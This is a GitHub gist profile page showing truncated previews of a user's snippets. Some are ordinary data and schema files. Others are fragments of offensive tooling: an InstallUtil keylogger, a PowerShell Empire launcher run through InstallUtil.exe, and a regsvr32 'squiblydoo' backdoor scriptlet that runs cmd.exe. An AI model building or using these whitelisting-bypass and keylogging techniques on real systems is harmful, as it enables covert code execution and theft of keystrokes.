Skip to content

Instantly share code, notes, and snippets.

View MichaelEvanchik's full-sized avatar

Michael Evanchik MichaelEvanchik

View GitHub Profile
@MichaelEvanchik
MichaelEvanchik / output on screen
Created December 14, 2018 16:52
getLocation.xml
(
{
"field_name" = name;
value = Shadow;
},
{
"field_name" = id;
value = "-2";
},
{
@MichaelEvanchik
MichaelEvanchik / none just PoC
Created December 11, 2018 20:56
data definition using spec
(
{
fields = (
{
“field_name” = “location_name”;
value = Phantom;
xpath = “./relatedLocations/relatedLocation/locationName”;
},
{
“field_name” = “location_name”;
#include "NSUFRange.h"
#import <Foundation/NSValue.h>
#import <Foundation/NSObjCRuntime.h>
@class NSString;
typedef struct _NSUFRange {
float location;
float length;
}
<?xml version="1.0" encoding="UTF-8"?>
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:axlapi="http://www.cisco.com/AXL/API/10.5" attributeFormDefault="unqualified" elementFormDefault="unqualified" targetNamespace="http://www.cisco.com/AXL/API/10.5" version="10.5">
<xsd:simpleType name="XInteger">
<xsd:union memberTypes="xsd:integer">
<xsd:simpleType>
<xsd:restriction base="xsd:string">
<xsd:enumeration value=""></xsd:enumeration>
</xsd:restriction>
</xsd:simpleType>
</xsd:union>
@MichaelEvanchik
MichaelEvanchik / iukl.cs
Created April 28, 2016 18:13
InstallUtil Keylogger/MouseClick Recorder - Stores Logs in [Documents\Klog-Logs]
using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//KeyStroke Mouse Clicks Code
/*
* https://code.google.com/p/klog-sharp/
*/
@MichaelEvanchik
MichaelEvanchik / empire.cs
Created April 28, 2016 17:59
PowerShell Empire via InstallUtil.exe
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
@MichaelEvanchik
MichaelEvanchik / Backdoor-Minimalist.sct
Created April 22, 2016 16:13
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Empire"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");